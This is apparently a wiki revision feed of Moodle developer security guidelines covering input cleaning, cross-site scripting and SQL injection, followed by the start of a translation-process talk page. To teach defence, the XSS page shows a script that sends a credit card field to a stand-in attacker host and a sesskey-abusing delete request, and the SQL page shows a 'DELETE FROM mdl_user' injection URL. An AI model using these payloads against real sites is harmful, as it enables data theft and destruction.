* Use &#039;&#039;&#039;[[lib/formslib.php|moodleforms]]&#039;&#039;&#039; whenever possible, with an appropriate &#039;&#039;&#039;setType&#039;&#039;&#039; method call for each field.&lt;br /&gt;
* Before performing actions, use &#039;&#039;&#039;is_post_with_sesskey&#039;&#039;&#039; to check sesskey and that you are handling a POST request. &lt;br /&gt;
** In Moodle 1.9, use &#039;&#039;&#039;data_submitted() &amp;amp;&amp;amp; confirm_sesskey()&#039;&#039;&#039; instead.&lt;br /&gt;
* Before destroying large amounts of data, add a confirmation step.&lt;br /&gt;
* If not using a moodleform, clean input using &#039;&#039;&#039;optional_param&#039;&#039;&#039; or &#039;&#039;&#039;required_param&#039;&#039;&#039; with an appropriate &#039;&#039;&#039;PARAM_...&#039;&#039;&#039; type.&lt;br /&gt;
** Do not access $_GET, $_POST or $_REQUEST directly.&lt;br /&gt;
** Group optional_param and required_param calls together at the top of the script, to make them easy to find.&lt;br /&gt;
&lt;br /&gt;
Similarly, clean data from other external resources like RSS feeds before use.&lt;br /&gt;
&lt;br /&gt;
===Clean and escape data before output===&lt;br /&gt;
&lt;br /&gt;
* Use &#039;&#039;&#039;s&#039;&#039;&#039; or &#039;&#039;&#039;p&#039;&#039;&#039; to output plain text content.&lt;br /&gt;
* use &#039;&#039;&#039;format_string&#039;&#039;&#039; to output content with minimal HTML like multi-lang spans (for example, course and activity names).&lt;br /&gt;
* Use &#039;&#039;&#039;format_text&#039;&#039;&#039; to output all other content.&lt;br /&gt;
** Only use $options-&amp;gt;noclean if it requires a capability with RISK_XSS to input that content (for example web page resources).&lt;br /&gt;
* Before Moodle 2.0, input from optional_param or required_param must have [[Developer:Slashes|&#039;&#039;&#039;stripslashes&#039;&#039;&#039; or &#039;&#039;&#039;stripslashes_recursive&#039;&#039;&#039;]] applied if it is being output directly, rather than being stored in the database.&lt;br /&gt;
* Data destined for JavaScript should be escaped using &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;data_for_js&#039;&#039;&#039; (Moodle 2.0) or &#039;&#039;&#039;addslashes_js&#039;&#039;&#039; (Moodle 1.9).&lt;br /&gt;
&lt;br /&gt;
See [[Output functions]] for more details.&lt;br /&gt;
&lt;br /&gt;
===Escape data before storing it in the database===&lt;br /&gt;
&lt;br /&gt;
* Use the XMLDB library. This takes care of most escaping issues for you.&lt;br /&gt;
* When you must use custom SQL code, &#039;&#039;&#039;use place-holders&#039;&#039;&#039; to insert values into the queries.&lt;br /&gt;
** Before Moodle 2.0, you have to build SQL by concatenating strings. Take particular care, especially with quoting values, to avoid SQL injection vulnerabilities.&lt;br /&gt;
* Before Moodle 2.0, data loaded from the database must have [[Developer:Slashes|&#039;&#039;&#039;addslashes&#039;&#039;&#039; or &#039;&#039;&#039;addslashes_object&#039;&#039;&#039;]] applied to it before it can be written back to the database. (addslashes should no longer be use anywhere in Moodle 2.0 code.)&lt;br /&gt;
* In Moodle 2.0 variables must be passed to database queries through bound parameters&lt;br /&gt;
&lt;br /&gt;
===Escape data before using it in shell commands===&lt;br /&gt;
&lt;br /&gt;
* Avoid shell commands if at all possible.&lt;br /&gt;
** Look to see if there is a PHP library instead.&lt;br /&gt;
* If you can&#039;t avoid shell commands, use &#039;&#039;&#039;escapeshellcmd&#039;&#039;&#039; and &#039;&#039;&#039;escapeshellarg&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Log every request===&lt;br /&gt;
&lt;br /&gt;
* Every script should call &#039;&#039;&#039;add_to_log&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Other good practice===&lt;br /&gt;
&lt;br /&gt;
... that helps with security.&lt;br /&gt;
&lt;br /&gt;
* Structure your code nicely, minimising the use of global variables. This makes the flow of data, and hence security, easier to verify.&lt;br /&gt;
* Initialise objects ($x = new stdClass;) and arrays ($x = array()) before you first use them.&lt;br /&gt;
* Test every input field with tricky input to ensure that it is escaped and un-escaped the right number of times everywhere, and that Unicode characters are not corrupted. My standard test input is:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt; &amp;gt; &amp;amp; &amp;amp;amp;lt; &amp;amp;amp;gt; &amp;amp;amp;amp; &#039; \&#039; 碁 \ \\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Coding]]&lt;br /&gt;
* The [http://cwe.mitre.org/top25/ 2010 CWE/SANS Top 25 Most Dangerous Programming Errors] - this is a generic list of common security mistakes, produced by a group of security experts. The above Moodle-specific guidelines cover most of these general points.&lt;br /&gt;
&lt;br /&gt;
{{CategoryDeveloper}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:Coding guidelines|Security]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:セキュリティ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Security:Cross-site_scripting&amp;diff=16250</id>
		<title>Security:Cross-site scripting</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Security:Cross-site_scripting&amp;diff=16250"/>
		<updated>2010-02-16T16:24:07Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page forms part of the [[Security|Moodle security guidelines]].&lt;br /&gt;
&lt;br /&gt;
==What is the danger?==&lt;br /&gt;
&lt;br /&gt;
Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (&amp;lt;nowiki&amp;gt;http://mymooodle.com/&amp;lt;/nowiki&amp;gt;, you have an iframe displaying an advert from &amp;lt;nowiki&amp;gt;http://makemerich.com/&amp;lt;/nowiki&amp;gt;. Then, and JavaScript code in the advert cannot access anything on your page.&lt;br /&gt;
&lt;br /&gt;
In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.&lt;br /&gt;
&lt;br /&gt;
Why is that a problem? Well, suppose Evil Hacker manages to get some code like&lt;br /&gt;
&amp;lt;code javascript&amp;gt;&lt;br /&gt;
 document.write(&#039;&amp;lt;img width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; &#039; +&lt;br /&gt;
     &#039;src=&amp;quot;http://evilhacker.com/savedata.php?creditcard=&#039; +&lt;br /&gt;
     document.getElementById(&#039;creditcard&#039;).value + &#039;&amp;quot; /&amp;gt;&#039;);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example&lt;br /&gt;
&amp;lt;code javascript&amp;gt;&lt;br /&gt;
 document.write(&#039;&amp;lt;img width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; &#039; +&lt;br /&gt;
     &#039;src=&amp;quot;http://example.com/moodle/user/delete.php?id=123&amp;amp;confirm=1&amp;amp;sesskey=&#039; +&lt;br /&gt;
     document.getElementById(&#039;sesskey&#039;).value + &#039;&amp;quot; /&amp;gt;&#039;);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser&#039;s JavaScript engine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How Moodle avoids this problem==&lt;br /&gt;
&lt;br /&gt;
The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Escaping output===&lt;br /&gt;
&lt;br /&gt;
Moodle divides content that has been input by the user into four categories:&lt;br /&gt;
# Plain text content. For example, a student&#039;s response to a short answer question.&lt;br /&gt;
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.&lt;br /&gt;
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.&lt;br /&gt;
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.&lt;br /&gt;
&lt;br /&gt;
Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any &amp;lt; character with &amp;amp;amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cleaning input===&lt;br /&gt;
&lt;br /&gt;
The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.&lt;br /&gt;
&lt;br /&gt;
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.&lt;br /&gt;
&lt;br /&gt;
===Escaping output 2 - JavaScript===&lt;br /&gt;
&lt;br /&gt;
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
echo &#039;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#039;;&lt;br /&gt;
echo &#039;alert(&amp;quot;&#039; . $userinput . &#039;&amp;quot;);&#039;;&lt;br /&gt;
echo &#039;&amp;lt;/script&amp;gt;&#039;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
and Evil hacker can make $userinput equal to something like &#039;&#039;&#039;&amp;quot;); /* Do something evil. */ (&#039;&#039;&#039; then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.&lt;br /&gt;
&lt;br /&gt;
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;data_for_js&#039;&#039;&#039; or &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;js_function_call&#039;&#039;&#039;. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.&lt;br /&gt;
&lt;br /&gt;
Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the &#039;&#039;&#039;addslashes_js&#039;&#039;&#039; function for safely encoding PHP strings for inclusion in JavaScript code.&lt;br /&gt;
&lt;br /&gt;
==What you need to do in your code==&lt;br /&gt;
&lt;br /&gt;
* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.&lt;br /&gt;
* Alternatively, use a &#039;&#039;&#039;[[lib/formslib.php|moodleforms]]&#039;&#039;&#039;, with appropriate -&amp;gt;setType calls in the form definition.&lt;br /&gt;
* Clean or escape content appropriately on output.&lt;br /&gt;
** Use &#039;&#039;&#039;s&#039;&#039;&#039; or &#039;&#039;&#039;p&#039;&#039;&#039; to output plain text content (type 1 above).&lt;br /&gt;
** use &#039;&#039;&#039;format_string&#039;&#039;&#039; to output content with minimal HTML like multi-lang spans (type 2 above).&lt;br /&gt;
** Use &#039;&#039;&#039;format_text&#039;&#039;&#039; to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options-&amp;gt;noclean argument to format_text.&lt;br /&gt;
* Any place where a use can input content that is output by format_text, $options-&amp;gt;noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.&lt;br /&gt;
* When sending data to JavaScript code:&lt;br /&gt;
** In Moodle 2.0 and later, use the &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;data_for_js&#039;&#039;&#039; or &#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;js_function_call&#039;&#039;&#039; methods.&lt;br /&gt;
** In Moodle 1.9 and earlier, escape the data with &#039;&#039;&#039;addslashes_js&#039;&#039;&#039; before printing it into the JavaScript code.&lt;br /&gt;
&lt;br /&gt;
==What you need to do as an administrator==&lt;br /&gt;
&lt;br /&gt;
* Do not allow a user to have a capability with RISK_XSS unless you trust them.&lt;br /&gt;
** The [[Security overview]] report can help you check this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Security]]&lt;br /&gt;
* [[Coding]]&lt;br /&gt;
&lt;br /&gt;
{{CategoryDeveloper}}&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:セキュリティ:クロスサイトスクリプティング]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Security:Cross-site_scripting&amp;diff=16249</id>
		<title>Security:Cross-site scripting</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Security:Cross-site_scripting&amp;diff=16249"/>
		<updated>2010-02-16T16:23:50Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page forms part of the [[Security|Moodle security guidelines]].&lt;br /&gt;
&lt;br /&gt;
==What is the danger?==&lt;br /&gt;
&lt;br /&gt;
Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (&amp;lt;nowiki&amp;gt;http://mymooodle.com/&amp;lt;/nowiki&amp;gt;, you have an iframe displaying an advert from &amp;lt;nowiki&amp;gt;http://makemerich.com/&amp;lt;/nowiki&amp;gt;. Then, and JavaScript code in the advert cannot access anything on your page.&lt;br /&gt;
&lt;br /&gt;
In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.&lt;br /&gt;
&lt;br /&gt;
Why is that a problem? Well, suppose Evil Hacker manages to get some code like&lt;br /&gt;
&amp;lt;code javascript&amp;gt;&lt;br /&gt;
 document.write(&#039;&amp;lt;img width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; &#039; +&lt;br /&gt;
     &#039;src=&amp;quot;http://evilhacker.com/savedata.php?creditcard=&#039; +&lt;br /&gt;
     document.getElementById(&#039;creditcard&#039;).value + &#039;&amp;quot; /&amp;gt;&#039;);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example&lt;br /&gt;
&amp;lt;code javascript&amp;gt;&lt;br /&gt;
 document.write(&#039;&amp;lt;img width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; &#039; +&lt;br /&gt;
     &#039;src=&amp;quot;http://example.com/moodle/user/delete.php?id=123&amp;amp;confirm=1&amp;amp;sesskey=&#039; +&lt;br /&gt;
     document.getElementById(&#039;sesskey&#039;).value + &#039;&amp;quot; /&amp;gt;&#039;);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser&#039;s JavaScript engine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How Moodle avoids this problem==&lt;br /&gt;
&lt;br /&gt;
The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Escaping output===&lt;br /&gt;
&lt;br /&gt;
Moodle divides content that has been input by the user into four categories:&lt;br /&gt;
# Plain text content. For example, a student&#039;s response to a short answer question.&lt;br /&gt;
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.&lt;br /&gt;
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.&lt;br /&gt;
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.&lt;br /&gt;
&lt;br /&gt;
Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any &amp;lt; character with &amp;amp;amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cleaning input===&lt;br /&gt;
&lt;br /&gt;
The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.&lt;br /&gt;
&lt;br /&gt;
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.&lt;br /&gt;
&lt;br /&gt;
===Escaping output 2 - JavaScript===&lt;br /&gt;
&lt;br /&gt;
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
echo &#039;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#039;;&lt;br /&gt;
echo &#039;alert(&amp;quot;&#039; . $userinput . &#039;&amp;quot;);&#039;;&lt;br /&gt;
echo &#039;&amp;lt;/script&amp;gt;&#039;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
and Evil hacker can make $userinput equal to something like &#039;&#039;&#039;&amp;quot;); /* Do something evil. */ (&#039;&#039;&#039; then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.&lt;br /&gt;
&lt;br /&gt;
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;data_for_js&#039;&#039;&#039; or &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;js_function_call&#039;&#039;&#039;. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.&lt;br /&gt;
&lt;br /&gt;
Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the &#039;&#039;&#039;addslashes_js&#039;&#039;&#039; function for safely encoding PHP strings for inclusion in JavaScript code.&lt;br /&gt;
&lt;br /&gt;
==What you need to do in your code==&lt;br /&gt;
&lt;br /&gt;
* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.&lt;br /&gt;
* Alternatively, use a &#039;&#039;&#039;[[lib/formslib.php|moodleforms]]&#039;&#039;&#039;, with appropriate -&amp;gt;setType calls in the form definition.&lt;br /&gt;
* Clean or escape content appropriately on output.&lt;br /&gt;
** Use &#039;&#039;&#039;s&#039;&#039;&#039; or &#039;&#039;&#039;p&#039;&#039;&#039; to output plain text content (type 1 above).&lt;br /&gt;
** use &#039;&#039;&#039;format_string&#039;&#039;&#039; to output content with minimal HTML like multi-lang spans (type 2 above).&lt;br /&gt;
** Use &#039;&#039;&#039;format_text&#039;&#039;&#039; to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options-&amp;gt;noclean argument to format_text.&lt;br /&gt;
* Any place where a use can input content that is output by format_text, $options-&amp;gt;noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.&lt;br /&gt;
* When sending data to JavaScript code:&lt;br /&gt;
** In Moodle 2.0 and later, use the &#039;&#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;data_for_js&#039;&#039;&#039; or &#039;&#039;$PAGE-&amp;gt;requires-&amp;gt;js_function_call&#039;&#039;&#039; methods.&lt;br /&gt;
** In Moodle 1.9 and earlier, escape the data with &#039;&#039;&#039;addslashes_js&#039;&#039;&#039; before printing it into the JavaScript code.&lt;br /&gt;
&lt;br /&gt;
==What you need to do as an administrator==&lt;br /&gt;
&lt;br /&gt;
* Do not allow a user to have a capability with RISK_XSS unless you trust them.&lt;br /&gt;
** The [[Security overview]] report can help you check this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Security]]&lt;br /&gt;
* [[Coding]]&lt;br /&gt;
&lt;br /&gt;
{{CategoryDeveloper}}&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
&lt;br /&gt;
[[en:開発:セキュリティ:クロスサイトスクリプティング]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Security:SQL_injection&amp;diff=16253</id>
		<title>Security:SQL injection</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Security:SQL_injection&amp;diff=16253"/>
		<updated>2010-02-06T05:34:37Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page forms part of the [[Security|Moodle security guidelines]].&lt;br /&gt;
&lt;br /&gt;
==What is the danger?==&lt;br /&gt;
&lt;br /&gt;
Suppose your code in .../course/view.php?id=123 does something like&lt;br /&gt;
&amp;lt;code sql&amp;gt;&lt;br /&gt;
SELECT FROM mdl_course WHERE id = $id;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
where the $id = 123 has come from the URL. Suppose that your code does not bother to clean that parameter properly.&lt;br /&gt;
&lt;br /&gt;
Along comes Evil Hacker, and edits the URL to be&lt;br /&gt;
: .../course/view.php?id=123;DELETE+FROM+mdl_user&lt;br /&gt;
I will let you work out why that is a very, very bad thing.&lt;br /&gt;
&lt;br /&gt;
Of course, depending on exactly what the database query is, the malicious input needs to be constructed appropriately, but that is just a matter of trial and error for Evil Hacker.&lt;br /&gt;
&lt;br /&gt;
==How Moodle avoids this problem==&lt;br /&gt;
&lt;br /&gt;
Once again, it is a case of being very suspicious of any input that came from outside Moodle. In the example above, $id should clearly have been cleaned by passing PARAM_INT to required_param.&lt;br /&gt;
&lt;br /&gt;
It is more tricky with a query like&lt;br /&gt;
&amp;lt;code sql&amp;gt;&lt;br /&gt;
UPDATE mdl_user SET lastname = &#039;$lastname&#039; WHERE id = $id;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
What happens when $lastname is &amp;quot;O&#039;Brian&amp;quot;? Well, you have to escape the &#039; like this: &amp;quot;O\&#039;Brian&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
In Moodle 1.9, addslashes is applied automatically to all input you get via required_param or optional_param.&lt;br /&gt;
&lt;br /&gt;
In Moodle 2.0 we completely avoid the dangerous process of building SQL by concatenating strings. In Moodle 2.0 the SQL would look like&lt;br /&gt;
&amp;lt;code sql&amp;gt;&lt;br /&gt;
UPDATE mdl_user SET lastname = ? WHERE id = ?;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
and then we would pass an array of values array($lastname, $id) to the database along with the SQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What you need to do in your code==&lt;br /&gt;
&lt;br /&gt;
In Moodle 2.0&lt;br /&gt;
* Use higher level dmllib methods, like get_record, whenever possible, so you do not have to create SQL yourself.&lt;br /&gt;
* When you have to insert values into SQL statements, use place-holders to insert the values safely.&lt;br /&gt;
&lt;br /&gt;
In Moodle 1.9&lt;br /&gt;
* Use higher level dmllib methods, like get_record, whenever possible, so you do not have to create SQL yourself.&lt;br /&gt;
* Data from required_param and optional_param have already had addslashes applied, ready to be used in database queries, but make sure you put single quotes round each value.&lt;br /&gt;
* If you have loaded some data from the database, and then want to re-insert it, then apply addslashes or addslashes_object to it first.&lt;br /&gt;
&lt;br /&gt;
* Test your code by using a tool like [http://sqlmap.sourceforge.net/ sqlmap], or by manually trying tricky inputs like&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt; &amp;gt; &amp;amp; &amp;amp;amp;lt; &amp;amp;amp;gt; &amp;amp;amp;amp; &#039; \&#039; 碁 \ \\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What you need to do as an administrator==&lt;br /&gt;
&lt;br /&gt;
* This is not something that administrators can do anything about (other than keeping your Moodle up-to-date).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* http://sqlmap.sourceforge.net/ - a tool for automatically finding SQL injection vulnerabilities.&lt;br /&gt;
* [[Security]]&lt;br /&gt;
* [[Coding]]&lt;br /&gt;
&lt;br /&gt;
{{CategoryDeveloper}}&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:セキュリティ:SQLインジェクション]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28296</id>
		<title>Talk:Languages subsystem improvements 2.0</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28296"/>
		<updated>2009-12-08T23:57:11Z</updated>

		<summary type="html">&lt;p&gt;Mits: /* Quick notes from our meeting in Prague */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I really like your functional proposal, David - makes a lot of sense and adds possibly a lot of flexability for both developers and translators. All depends on how you see the storage. --[[User:koen roggemans|koen roggemans]] 19:33, 1 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Quick notes from our meeting in Prague==&lt;br /&gt;
(David feel free to add/modify in line)&lt;br /&gt;
&lt;br /&gt;
It is important for translators to be able to work with external tools, because there are problems in RTL languages to use online tools.&lt;br /&gt;
&lt;br /&gt;
It is also important to keep the translation process a simple as possible.&lt;br /&gt;
&lt;br /&gt;
It will be difficult/impossible to unite all our requirements in an external tool, so there will be the need to create/update a build in translation tool.&lt;br /&gt;
&lt;br /&gt;
For grammar and plural problems there will be a php-function that handles that. It will not be easy to use, but grammar and plural problems are not easy to solve. The whole string should be replaced by the function, based on a variable, because in some languages there is a lot more changing than just a few letters in plurals&lt;br /&gt;
&lt;br /&gt;
The compiling of a language pack is a good idea, but when working with the language editor (in admin menu and the new to  implement one at the bottom of the screen) there should be a way to start the compiling process so the translator can see the result immediately. This can be done on file refresh, on leaving the page, with a button, ... It will depend on the time the compilation takes.&lt;br /&gt;
&lt;br /&gt;
Proposal for changes to the translation process:&lt;br /&gt;
We replace CVS-access for translators with an upload button in a moodle installation to upload the files to moodle.org. That upload button handles a lot of requirements. It will be the only way for translators to commit files to Moodle. &lt;br /&gt;
* it adds the Moodle version to language files so moodle.org knows in which branch they need to go.&lt;br /&gt;
* access rights for the upload should be checked on moodle.org&lt;br /&gt;
* power users can still work on the files directly or use other translation tools, but the upload to moodle should be done with the correct moodle version&lt;br /&gt;
* each string gets a time stamp, put there by the build-in translation tool or by the upload process if the file is modified externally. That can be checked by calculating an md5 for every file on download and on working with the build in translation tool. That is necessary to be able to inform translators about modified English strings&lt;br /&gt;
* for translating a new moodle distribution, the translator should install a new distribution copy, import the old language files (they are pre processed on moodle.org = taking out all unused strings) and start working  locally,  preferably with the build in tool that creates a time stamp for every string, otherwise with an external tool - then the time stamp is created on upload.&lt;br /&gt;
* it could handle syntax checking, but that can also be done in the translation tool, on moodle.org after upload or in the compilation process after download. I (Koen) think that the checking in the translation tool is too early, since there are other ways to create the file, and on compilation is too late, because the error is then already in the language pack. I think it is better to prevent the upload of a file with errors so the translator has to fix them immediately before upload.&lt;br /&gt;
** &#039;&#039;I think the editor should be able to do syntax checking. It should just hi-light any bad strings in some way. That way, if you do edit a file in another tool, you just have to load it into the built-in editor to check it is OK. This is how the XMLDB editor works.&#039;&#039;--[[User:Tim Hunt|Tim Hunt]] 09:13, 6 December 2009 (UTC)&lt;br /&gt;
* the upload button only appears on beta release, witch is the start of the translation process and the stop of adding new features.&lt;br /&gt;
&lt;br /&gt;
--[[User:koen roggemans|koen roggemans]] 10:26, 5 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
* To notify translators some string was modified, can we change strings as below?&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;abouttobeinstalled&#039;][2] = &#039;about to be installed&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;action&#039;][0] = &#039;Action&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
